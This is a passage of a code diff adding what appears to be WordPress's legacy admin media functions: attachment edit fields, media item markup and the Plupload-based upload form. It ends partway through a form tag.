+	unset($form_fields['image_url']);
+	return $form_fields;
+}
+
+/**
+ * Filters input from media_upload_form_handler() and assigns a default
+ * post_title from the file name if none supplied.
+ *
+ * Illustrates the use of the {@see 'attachment_fields_to_save'} filter
+ * which can be used to add default values to any field before saving to DB.
+ *
+ * @since 2.5.0
+ *
+ * @param array $post       The WP_Post attachment object converted to an array.
+ * @param array $attachment An array of attachment metadata.
+ * @return array Filtered attachment post object.
+ */
+function image_attachment_fields_to_save( $post, $attachment ) {
+	if ( substr( $post['post_mime_type'], 0, 5 ) == 'image' ) {
+		if ( strlen( trim( $post['post_title'] ) ) == 0 ) {
+			$attachment_url = ( isset( $post['attachment_url'] ) ) ? $post['attachment_url'] : $post['guid'];
+			$post['post_title'] = preg_replace( '/\.\w+$/', '', wp_basename( $attachment_url ) );
+			$post['errors']['post_title']['errors'][] = __( 'Empty Title filled from filename.' );
+		}
+	}
+
+	return $post;
+}
+
+/**
+ * Retrieves the media element HTML to send to the editor.
+ *
+ * @since 2.5.0
+ *
+ * @param string $html
+ * @param integer $attachment_id
+ * @param array $attachment
+ * @return string
+ */
+function image_media_send_to_editor($html, $attachment_id, $attachment) {
+	$post = get_post($attachment_id);
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$url = $attachment['url'];
+		$align = !empty($attachment['align']) ? $attachment['align'] : 'none';
+		$size = !empty($attachment['image-size']) ? $attachment['image-size'] : 'medium';
+		$alt = !empty($attachment['image_alt']) ? $attachment['image_alt'] : '';
+		$rel = ( strpos( $url, 'attachment_id') || $url === get_attachment_link( $attachment_id ) );
+
+		return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt);
+	}
+
+	return $html;
+}
+
+/**
+ * Retrieves the attachment fields to edit form fields.
+ *
+ * @since 2.5.0
+ *
+ * @param WP_Post $post
+ * @param array $errors
+ * @return array
+ */
+function get_attachment_fields_to_edit($post, $errors = null) {
+	if ( is_int($post) )
+		$post = get_post($post);
+	if ( is_array($post) )
+		$post = new WP_Post( (object) $post );
+
+	$image_url = wp_get_attachment_url($post->ID);
+
+	$edit_post = sanitize_post($post, 'edit');
+
+	$form_fields = array(
+		'post_title'   => array(
+			'label'      => __('Title'),
+			'value'      => $edit_post->post_title
+		),
+		'image_alt'   => array(),
+		'post_excerpt' => array(
+			'label'      => __('Caption'),
+			'input'      => 'html',
+			'html'       => wp_caption_input_textarea($edit_post)
+		),
+		'post_content' => array(
+			'label'      => __('Description'),
+			'value'      => $edit_post->post_content,
+			'input'      => 'textarea'
+		),
+		'url'          => array(
+			'label'      => __('Link URL'),
+			'input'      => 'html',
+			'html'       => image_link_input_fields($post, get_option('image_default_link_type')),
+			'helps'      => __('Enter a link URL or click above for presets.')
+		),
+		'menu_order'   => array(
+			'label'      => __('Order'),
+			'value'      => $edit_post->menu_order
+		),
+		'image_url'	=> array(
+			'label'      => __('File URL'),
+			'input'      => 'html',
+			'html'       => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr($image_url) . "' /><br />",
+			'value'      => wp_get_attachment_url($post->ID),
+			'helps'      => __('Location of the uploaded file.')
+		)
+	);
+
+	foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
+		$t = (array) get_taxonomy($taxonomy);
+		if ( ! $t['public'] || ! $t['show_ui'] )
+			continue;
+		if ( empty($t['label']) )
+			$t['label'] = $taxonomy;
+		if ( empty($t['args']) )
+			$t['args'] = array();
+
+		$terms = get_object_term_cache($post->ID, $taxonomy);
+		if ( false === $terms )
+			$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+		$values = array();
+
+		foreach ( $terms as $term )
+			$values[] = $term->slug;
+		$t['value'] = join(', ', $values);
+
+		$form_fields[$taxonomy] = $t;
+	}
+
+	// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
+	// The recursive merge is easily traversed with array casting: foreach ( (array) $things as $thing )
+	$form_fields = array_merge_recursive($form_fields, (array) $errors);
+
+	// This was formerly in image_attachment_fields_to_edit().
+	if ( substr($post->post_mime_type, 0, 5) == 'image' ) {
+		$alt = get_post_meta($post->ID, '_wp_attachment_image_alt', true);
+		if ( empty($alt) )
+			$alt = '';
+
+		$form_fields['post_title']['required'] = true;
+
+		$form_fields['image_alt'] = array(
+			'value' => $alt,
+			'label' => __('Alternative Text'),
+			'helps' => __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;')
+		);
+
+		$form_fields['align'] = array(
+			'label' => __('Alignment'),
+			'input' => 'html',
+			'html'  => image_align_input_fields($post, get_option('image_default_align')),
+		);
+
+		$form_fields['image-size'] = image_size_input_fields( $post, get_option('image_default_size', 'medium') );
+
+	} else {
+		unset( $form_fields['image_alt'] );
+	}
+
+	/**
+	 * Filters the attachment fields to edit.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array   $form_fields An array of attachment form fields.
+	 * @param WP_Post $post        The WP_Post attachment object.
+	 */
+	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );
+
+	return $form_fields;
+}
+
+/**
+ * Retrieve HTML for media items of post gallery.
+ *
+ * The HTML markup retrieved will be created for the progress of SWF Upload
+ * component. Will also create link for showing and hiding the form to modify
+ * the image attachment.
+ *
+ * @since 2.5.0
+ *
+ * @global WP_Query $wp_the_query
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param array $errors Errors for attachment, if any.
+ * @return string
+ */
+function get_media_items( $post_id, $errors ) {
+	$attachments = array();
+	if ( $post_id ) {
+		$post = get_post($post_id);
+		if ( $post && $post->post_type == 'attachment' )
+			$attachments = array($post->ID => $post);
+		else
+			$attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') );
+	} else {
+		if ( is_array($GLOBALS['wp_the_query']->posts) )
+			foreach ( $GLOBALS['wp_the_query']->posts as $attachment )
+				$attachments[$attachment->ID] = $attachment;
+	}
+
+	$output = '';
+	foreach ( (array) $attachments as $id => $attachment ) {
+		if ( $attachment->post_status == 'trash' )
+			continue;
+		if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) )
+			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
+	}
+
+	return $output;
+}
+
+/**
+ * Retrieve HTML form for modifying the image attachment.
+ *
+ * @since 2.5.0
+ *
+ * @global string $redir_tab
+ *
+ * @param int $attachment_id Attachment ID for modification.
+ * @param string|array $args Optional. Override defaults.
+ * @return string HTML form for attachment.
+ */
+function get_media_item( $attachment_id, $args = null ) {
+	global $redir_tab;
+
+	if ( ( $attachment_id = intval( $attachment_id ) ) && $thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true ) )
+		$thumb_url = $thumb_url[0];
+	else
+		$thumb_url = false;
+
+	$post = get_post( $attachment_id );
+	$current_post_id = !empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;
+
+	$default_args = array(
+		'errors' => null,
+		'send' => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
+		'delete' => true,
+		'toggle' => true,
+		'show_title' => true
+	);
+	$args = wp_parse_args( $args, $default_args );
+
+	/**
+	 * Filters the arguments used to retrieve an image for the edit image form.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see get_media_item
+	 *
+	 * @param array $args An array of arguments.
+	 */
+	$r = apply_filters( 'get_media_item_args', $args );
+
+	$toggle_on  = __( 'Show' );
+	$toggle_off = __( 'Hide' );
+
+	$file = get_attached_file( $post->ID );
+	$filename = esc_html( wp_basename( $file ) );
+	$title = esc_attr( $post->post_title );
+
+	$post_mime_types = get_post_mime_types();
+	$keys = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
+	$type = reset( $keys );
+	$type_html = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";
+
+	$form_fields = get_attachment_fields_to_edit( $post, $r['errors'] );
+
+	if ( $r['toggle'] ) {
+		$class = empty( $r['errors'] ) ? 'startclosed' : 'startopen';
+		$toggle_links = "
+	<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
+	<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
+	} else {
+		$class = '';
+		$toggle_links = '';
+	}
+
+	$display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case
+	$display_title = $r['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . "</span></div>" : '';
+
+	$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' == $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' == $redir_tab ) );
+	$order = '';
+
+	foreach ( $form_fields as $key => $val ) {
+		if ( 'menu_order' == $key ) {
+			if ( $gallery )
+				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ). "' /></div>";
+			else
+				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
+
+			unset( $form_fields['menu_order'] );
+			break;
+		}
+	}
+
+	$media_dims = '';
+	$meta = wp_get_attachment_metadata( $post->ID );
+	if ( isset( $meta['width'], $meta['height'] ) )
+		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
+
+	/**
+	 * Filters the media metadata.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string  $media_dims The HTML markup containing the media dimensions.
+	 * @param WP_Post $post       The WP_Post attachment object.
+	 */
+	$media_dims = apply_filters( 'media_meta', $media_dims, $post );
+
+	$image_edit_button = '';
+	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
+		$nonce = wp_create_nonce( "image_editor-$post->ID" );
+		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
+	}
+
+	$attachment_url = get_permalink( $attachment_id );
+
+	$item = "
+	$type_html
+	$toggle_links
+	$order
+	$display_title
+	<table class='slidetoggle describe $class'>
+		<thead class='media-item-info' id='media-head-$post->ID'>
+		<tr>
+			<td class='A1B1' id='thumbnail-head-$post->ID'>
+			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
+			<p>$image_edit_button</p>
+			</td>
+			<td>
+			<p><strong>" . __('File name:') . "</strong> $filename</p>
+			<p><strong>" . __('File type:') . "</strong> $post->post_mime_type</p>
+			<p><strong>" . __('Upload date:') . "</strong> " . mysql2date( __( 'F j, Y' ), $post->post_date ). '</p>';
+			if ( !empty( $media_dims ) )
+				$item .= "<p><strong>" . __('Dimensions:') . "</strong> $media_dims</p>\n";
+
+			$item .= "</td></tr>\n";
+
+	$item .= "
+		</thead>
+		<tbody>
+		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>\n
+		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n
+		<tr><td colspan='2'><p class='media-types media-types-required-info'>" . sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) . "</p></td></tr>\n";
+
+	$defaults = array(
+		'input'      => 'text',
+		'required'   => false,
+		'value'      => '',
+		'extra_rows' => array(),
+	);
+
+	if ( $r['send'] ) {
+		$r['send'] = get_submit_button( __( 'Insert into Post' ), '', "send[$attachment_id]", false );
+	}
+
+	$delete = empty( $r['delete'] ) ? '' : $r['delete'];
+	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
+		if ( !EMPTY_TRASH_DAYS ) {
+			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
+		} elseif ( !MEDIA_TRASH ) {
+			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
+			 <div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'>" .
+			 /* translators: %s: file name */
+			'<p>' . sprintf( __( 'You are about to delete %s.' ), '<strong>' . $filename . '</strong>' ) . "</p>
+			 <a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
+			 <a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . "</a>
+			 </div>";
+		} else {
+			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
+			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . "</a>";
+		}
+	} else {
+		$delete = '';
+	}
+
+	$thumbnail = '';
+	$calling_post_id = 0;
+	if ( isset( $_GET['post_id'] ) ) {
+		$calling_post_id = absint( $_GET['post_id'] );
+	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set
+		$calling_post_id = $post->post_parent;
+	}
+	if ( 'image' == $type && $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
+		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' ) && get_post_thumbnail_id( $calling_post_id ) != $attachment_id ) {
+
+		$calling_post = get_post( $calling_post_id );
+		$calling_post_type_object = get_post_type_object( $calling_post->post_type );
+
+		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
+		$thumbnail = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html( $calling_post_type_object->labels->use_featured_image ) . "</a>";
+	}
+
+	if ( ( $r['send'] || $thumbnail || $delete ) && !isset( $form_fields['buttons'] ) ) {
+		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $r['send'] . " $thumbnail $delete</td></tr>\n" );
+	}
+	$hidden_fields = array();
+
+	foreach ( $form_fields as $id => $field ) {
+		if ( $id[0] == '_' )
+			continue;
+
+		if ( !empty( $field['tr'] ) ) {
+			$item .= $field['tr'];
+			continue;
+		}
+
+		$field = array_merge( $defaults, $field );
+		$name = "attachments[$attachment_id][$id]";
+
+		if ( $field['input'] == 'hidden' ) {
+			$hidden_fields[$name] = $field['value'];
+			continue;
+		}
+
+		$required      = $field['required'] ? '<span class="required">*</span>' : '';
+		$required_attr = $field['required'] ? ' required' : '';
+		$aria_required = $field['required'] ? " aria-required='true'" : '';
+		$class  = $id;
+		$class .= $field['required'] ? ' form-required' : '';
+
+		$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}{$required}</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";
+		if ( !empty( $field[ $field['input'] ] ) )
+			$item .= $field[ $field['input'] ];
+		elseif ( $field['input'] == 'textarea' ) {
+			if ( 'post_content' == $id && user_can_richedit() ) {
+				// Sanitize_post() skips the post_content when user_can_richedit.
+				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
+			}
+			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
+			$item .= "<textarea id='$name' name='$name'{$required_attr}{$aria_required}>" . $field['value'] . '</textarea>';
+		} else {
+			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'{$required_attr}{$aria_required} />";
+		}
+		if ( !empty( $field['helps'] ) )
+			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
+		$item .= "</td>\n\t\t</tr>\n";
+
+		$extra_rows = array();
+
+		if ( !empty( $field['errors'] ) )
+			foreach ( array_unique( (array) $field['errors'] ) as $error )
+				$extra_rows['error'][] = $error;
+
+		if ( !empty( $field['extra_rows'] ) )
+			foreach ( $field['extra_rows'] as $class => $rows )
+				foreach ( (array) $rows as $html )
+					$extra_rows[$class][] = $html;
+
+		foreach ( $extra_rows as $class => $rows )
+			foreach ( $rows as $html )
+				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
+	}
+
+	if ( !empty( $form_fields['_final'] ) )
+		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
+	$item .= "\t</tbody>\n";
+	$item .= "\t</table>\n";
+
+	foreach ( $hidden_fields as $name => $value )
+		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
+
+	if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
+		$parent = (int) $_REQUEST['post_id'];
+		$parent_name = "attachments[$attachment_id][post_parent]";
+		$item .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
+	}
+
+	return $item;
+}
+
+/**
+ * @since 3.5.0
+ *
+ * @param int   $attachment_id
+ * @param array $args
+ * @return array
+ */
+function get_compat_media_markup( $attachment_id, $args = null ) {
+	$post = get_post( $attachment_id );
+
+	$default_args = array(
+		'errors' => null,
+		'in_modal' => false,
+	);
+
+	$user_can_edit = current_user_can( 'edit_post', $attachment_id );
+
+	$args = wp_parse_args( $args, $default_args );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$args = apply_filters( 'get_media_item_args', $args );
+
+	$form_fields = array();
+
+	if ( $args['in_modal'] ) {
+		foreach ( get_attachment_taxonomies($post) as $taxonomy ) {
+			$t = (array) get_taxonomy($taxonomy);
+			if ( ! $t['public'] || ! $t['show_ui'] )
+				continue;
+			if ( empty($t['label']) )
+				$t['label'] = $taxonomy;
+			if ( empty($t['args']) )
+				$t['args'] = array();
+
+			$terms = get_object_term_cache($post->ID, $taxonomy);
+			if ( false === $terms )
+				$terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']);
+
+			$values = array();
+
+			foreach ( $terms as $term )
+				$values[] = $term->slug;
+			$t['value'] = join(', ', $values);
+			$t['taxonomy'] = true;
+
+			$form_fields[$taxonomy] = $t;
+		}
+	}
+
+	// Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default
+	// The recursive merge is easily traversed with array casting: foreach ( (array) $things as $thing )
+	$form_fields = array_merge_recursive($form_fields, (array) $args['errors'] );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );
+
+	unset( $form_fields['image-size'], $form_fields['align'], $form_fields['image_alt'],
+		$form_fields['post_title'], $form_fields['post_excerpt'], $form_fields['post_content'],
+		$form_fields['url'], $form_fields['menu_order'], $form_fields['image_url'] );
+
+	/** This filter is documented in wp-admin/includes/media.php */
+	$media_meta = apply_filters( 'media_meta', '', $post );
+
+	$defaults = array(
+		'input'         => 'text',
+		'required'      => false,
+		'value'         => '',
+		'extra_rows'    => array(),
+		'show_in_edit'  => true,
+		'show_in_modal' => true,
+	);
+
+	$hidden_fields = array();
+
+	$item = '';
+	foreach ( $form_fields as $id => $field ) {
+		if ( $id[0] == '_' )
+			continue;
+
+		$name = "attachments[$attachment_id][$id]";
+		$id_attr = "attachments-$attachment_id-$id";
+
+		if ( !empty( $field['tr'] ) ) {
+			$item .= $field['tr'];
+			continue;
+		}
+
+		$field = array_merge( $defaults, $field );
+
+		if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) )
+			continue;
+
+		if ( $field['input'] == 'hidden' ) {
+			$hidden_fields[$name] = $field['value'];
+			continue;
+		}
+
+		$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
+		$required      = $field['required'] ? '<span class="required">*</span>' : '';
+		$required_attr = $field['required'] ? ' required' : '';
+		$aria_required = $field['required'] ? " aria-required='true'" : '';
+		$class  = 'compat-field-' . $id;
+		$class .= $field['required'] ? ' form-required' : '';
+
+		$item .= "\t\t<tr class='$class'>";
+		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
+		$item .= "</th>\n\t\t\t<td class='field'>";
+
+		if ( !empty( $field[ $field['input'] ] ) )
+			$item .= $field[ $field['input'] ];
+		elseif ( $field['input'] == 'textarea' ) {
+			if ( 'post_content' == $id && user_can_richedit() ) {
+				// sanitize_post() skips the post_content when user_can_richedit.
+				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
+			}
+			$item .= "<textarea id='$id_attr' name='$name'{$required_attr}{$aria_required}>" . $field['value'] . '</textarea>';
+		} else {
+			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly{$required_attr}{$aria_required} />";
+		}
+		if ( !empty( $field['helps'] ) )
+			$item .= "<p class='help'>" . join( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
+		$item .= "</td>\n\t\t</tr>\n";
+
+		$extra_rows = array();
+
+		if ( !empty( $field['errors'] ) )
+			foreach ( array_unique( (array) $field['errors'] ) as $error )
+				$extra_rows['error'][] = $error;
+
+		if ( !empty( $field['extra_rows'] ) )
+			foreach ( $field['extra_rows'] as $class => $rows )
+				foreach ( (array) $rows as $html )
+					$extra_rows[$class][] = $html;
+
+		foreach ( $extra_rows as $class => $rows )
+			foreach ( $rows as $html )
+				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
+	}
+
+	if ( !empty( $form_fields['_final'] ) )
+		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
+
+	if ( $item ) {
+		$item = '<p class="media-types media-types-required-info">' .
+			sprintf( __( 'Required fields are marked %s' ), '<span class="required">*</span>' ) . '</p>
+			<table class="compat-attachment-fields">' . $item . '</table>';
+	}
+
+	foreach ( $hidden_fields as $hidden_field => $value ) {
+		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
+	}
+
+	if ( $item )
+		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
+
+	return array(
+		'item'   => $item,
+		'meta'   => $media_meta,
+	);
+}
+
+/**
+ * Outputs the legacy media upload header.
+ *
+ * @since 2.5.0
+ */
+function media_upload_header() {
+	$post_id = isset( $_REQUEST['post_id'] ) ? intval( $_REQUEST['post_id'] ) : 0;
+
+	echo '<script type="text/javascript">post_id = ' . $post_id . ';</script>';
+	if ( empty( $_GET['chromeless'] ) ) {
+		echo '<div id="media-upload-header">';
+		the_media_upload_tabs();
+		echo '</div>';
+	}
+}
+
+/**
+ * Outputs the legacy media upload form.
+ *
+ * @since 2.5.0
+ *
+ * @global string $type
+ * @global string $tab
+ * @global bool   $is_IE
+ * @global bool   $is_opera
+ *
+ * @param array $errors
+ */
+function media_upload_form( $errors = null ) {
+	global $type, $tab, $is_IE, $is_opera;
+
+	if ( ! _device_can_upload() ) {
+		echo '<p>' . sprintf( __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://apps.wordpress.org/' ) . '</p>';
+		return;
+	}
+
+	$upload_action_url = admin_url('async-upload.php');
+	$post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
+	$_type = isset($type) ? $type : '';
+	$_tab = isset($tab) ? $tab : '';
+
+	$max_upload_size = wp_max_upload_size();
+	if ( ! $max_upload_size ) {
+		$max_upload_size = 0;
+	}
+?>
+
+<div id="media-upload-notice"><?php
+
+	if (isset($errors['upload_notice']) )
+		echo $errors['upload_notice'];
+
+?></div>
+<div id="media-upload-error"><?php
+
+	if (isset($errors['upload_error']) && is_wp_error($errors['upload_error']))
+		echo $errors['upload_error']->get_error_message();
+
+?></div>
+<?php
+if ( is_multisite() && !is_upload_space_available() ) {
+	/**
+	 * Fires when an upload will exceed the defined upload space quota for a network site.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'upload_ui_over_quota' );
+	return;
+}
+
+/**
+ * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
+ *
+ * @since 2.6.0
+ */
+do_action( 'pre-upload-ui' );
+
+$post_params = array(
+	"post_id" => $post_id,
+	"_wpnonce" => wp_create_nonce('media-form'),
+	"type" => $_type,
+	"tab" => $_tab,
+	"short" => "1",
+);
+
+/**
+ * Filters the media upload post parameters.
+ *
+ * @since 3.1.0 As 'swfupload_post_params'
+ * @since 3.3.0
+ *
+ * @param array $post_params An array of media upload parameters used by Plupload.
+ */
+$post_params = apply_filters( 'upload_post_params', $post_params );
+
+/*
+ * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
+ * and the `flash_swf_url` and `silverlight_xap_url` are not used.
+ */
+$plupload_init = array(
+	'browse_button'       => 'plupload-browse-button',
+	'container'           => 'plupload-upload-ui',
+	'drop_element'        => 'drag-drop-area',
+	'file_data_name'      => 'async-upload',
+	'url'                 => $upload_action_url,
+	'filters' => array(
+		'max_file_size'   => $max_upload_size . 'b',
+	),
+	'multipart_params'    => $post_params,
+);
+
+// Currently only iOS Safari supports multiple files uploading but iOS 7.x has a bug that prevents uploading of videos
+// when enabled. See #29602.
+if ( wp_is_mobile() && strpos( $_SERVER['HTTP_USER_AGENT'], 'OS 7_' ) !== false &&
+	strpos( $_SERVER['HTTP_USER_AGENT'], 'like Mac OS X' ) !== false ) {
+
+	$plupload_init['multi_selection'] = false;
+}
+
+/**
+ * Filters the default Plupload settings.
+ *
+ * @since 3.3.0
+ *
+ * @param array $plupload_init An array of default settings used by Plupload.
+ */
+$plupload_init = apply_filters( 'plupload_init', $plupload_init );
+
+?>
+
+<script type="text/javascript">
+<?php
+// Verify size is an int. If not return default value.
+$large_size_h = absint( get_option('large_size_h') );
+if( !$large_size_h )
+	$large_size_h = 1024;
+$large_size_w = absint( get_option('large_size_w') );
+if( !$large_size_w )
+	$large_size_w = 1024;
+?>
+var resize_height = <?php echo $large_size_h; ?>, resize_width = <?php echo $large_size_w; ?>,
+wpUploaderInit = <?php echo wp_json_encode( $plupload_init ); ?>;
+</script>
+
+<div id="plupload-upload-ui" class="hide-if-no-js">
+<?php
+/**
+ * Fires before the upload interface loads.
+ *
+ * @since 2.6.0 As 'pre-flash-upload-ui'
+ * @since 3.3.0
+ */
+do_action( 'pre-plupload-upload-ui' ); ?>
+<div id="drag-drop-area">
+	<div class="drag-drop-inside">
+	<p class="drag-drop-info"><?php _e('Drop files here'); ?></p>
+	<p><?php _ex('or', 'Uploader: Drop files here - or - Select Files'); ?></p>
+	<p class="drag-drop-buttons"><input id="plupload-browse-button" type="button" value="<?php esc_attr_e('Select Files'); ?>" class="button" /></p>
+	</div>
+</div>
+<?php
+/**
+ * Fires after the upload interface loads.
+ *
+ * @since 2.6.0 As 'post-flash-upload-ui'
+ * @since 3.3.0
+ */
+do_action( 'post-plupload-upload-ui' ); ?>
+</div>
+
+<div id="html-upload-ui" class="hide-if-js">
+	<?php
+	/**
+	 * Fires before the upload button in the media upload interface.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'pre-html-upload-ui' );
+	?>
+	<p id="async-upload-wrap">
+		<label class="screen-reader-text" for="async-upload"><?php _e('Upload'); ?></label>
+		<input type="file" name="async-upload" id="async-upload" />
+		<?php submit_button( __( 'Upload' ), 'primary', 'html-upload', false ); ?>
+		<a href="#" onclick="try{top.tb_remove();}catch(e){}; return false;"><?php _e('Cancel'); ?></a>
+	</p>
+	<div class="clear"></div>
+<?php
+/**
+ * Fires after the upload button in the media upload interface.
+ *
+ * @since 2.6.0
+ */
+do_action( 'post-html-upload-ui' );
+?>
+</div>
+
+<p class="max-upload-size"><?php printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) ); ?></p>
+<?php
+
+	/**
+	 * Fires on the post upload UI screen.
+	 *
+	 * Legacy (pre-3.5.0) media workflow hook.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'post-upload-ui' );
+}
+
+/**
+ * Outputs the legacy media upload form for a given media type.
+ *
+ * @since 2.5.0
+ *
+ * @param string $type
+ * @param object $errors
+ * @param integer $id
+ */
+function media_upload_type_form($type = 'file', $errors = null, $id = null) {
+
+	media_upload_header();
+
+	$post_id = isset( $_REQUEST['post_id'] )? intval( $_REQUEST['post_id'] ) : 0;
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+
+	/**
+	 * Filters the media upload form action URL.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $form_action_url The media upload form action URL.
+	 * @param string $type            The type of media. Default 'file'.
+	 */
+	$form_action_url = apply_filters( 'media_upload_form_url', $form_action_url, $type );
+	$form_class = 'media-upload-form type-form validate';
+
+	if ( get_user_setting('uploader') )
+		$form_class .= ' html-uploader';
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_url( $form_action_url ); ?>" class="<?php echo $form_class; ?>" id="<?php echo $type; ?>-form">
